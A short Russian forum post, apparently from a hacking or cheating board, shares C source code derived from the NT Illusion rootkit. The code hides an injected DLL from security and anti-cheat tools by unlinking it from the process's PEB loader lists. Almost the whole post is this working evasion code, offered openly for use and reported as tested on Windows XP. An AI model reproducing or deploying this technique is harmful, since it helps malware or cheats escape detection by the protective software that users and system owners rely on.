[hidden]Некоторые заshitные утилиты проверяют список загруженных модулей (Чаще всего, с помошью CreateToolhelp32Snapshot) ) и если находят делают всякие пакости.
Ниже приведен код, который обходит большинство подобных заshit (Основан на коде руткита NT Illusion).
sources:
Spoiler
Code://за основу был взят код руткита NT Illusion #include <Windows.h> #include "ntdll.h" #pragma comment(lib,"ntdll.lib") bool internalHideDLL(HMODULE imagebase, PLIST_ENTRY moduleList, int type) { const DWORD imagebaseOffset = 0x18; DWORD offset; PLIST_ENTRY pList = moduleList; PLIST_ENTRY tmp; HMODULE hModBase; switch(type) { case 1://init order offset = 0x10; break; case 2://mem order offset = 0x8; break; case 3://load order offset = 0x0; break; default: return false; } while(true) { hModBase = (HMODULE)(*(DWORD *)(((DWORD)(pList)) + (imagebaseOffset-offset))); if(imagebase == hModBase) { tmp = pList->Flink; pList->Flink->Blink = pList->Blink; pList->Blink->Flink = pList->Flink; return true; } else { pList = pList->Flink; if(pList == moduleList) return false; } } } bool hideDll(char * dllName) { HMODULE hDll = GetModuleHandleA(dllName); if(!hDll) return false; PROCESS_BASIC_INFORMATION pbiInfo; DWORD tmp; if(NT_SUCCESS(NtQueryInformationProcess(GetCurrentProcess(),ProcessBasicInformation,&pbiInfo,sizeof(pbiInfo),NULL))) { if(!internalHideDLL(hDll,&pbiInfo.PebBaseAddress->Ldr->ModuleListInitOrder,1)) return false; if(!internalHideDLL(hDll,&pbiInfo.PebBaseAddress->Ldr->ModuleListMemoryOrder,2)) return false; if(!internalHideDLL(hDll,&pbiInfo.PebBaseAddress->Ldr->ModuleListLoadOrder,3)) return false; return true; } else return false; }
P.S. Tested on winXp sp2, sp3[/hidden]
Please register or login to download attachments.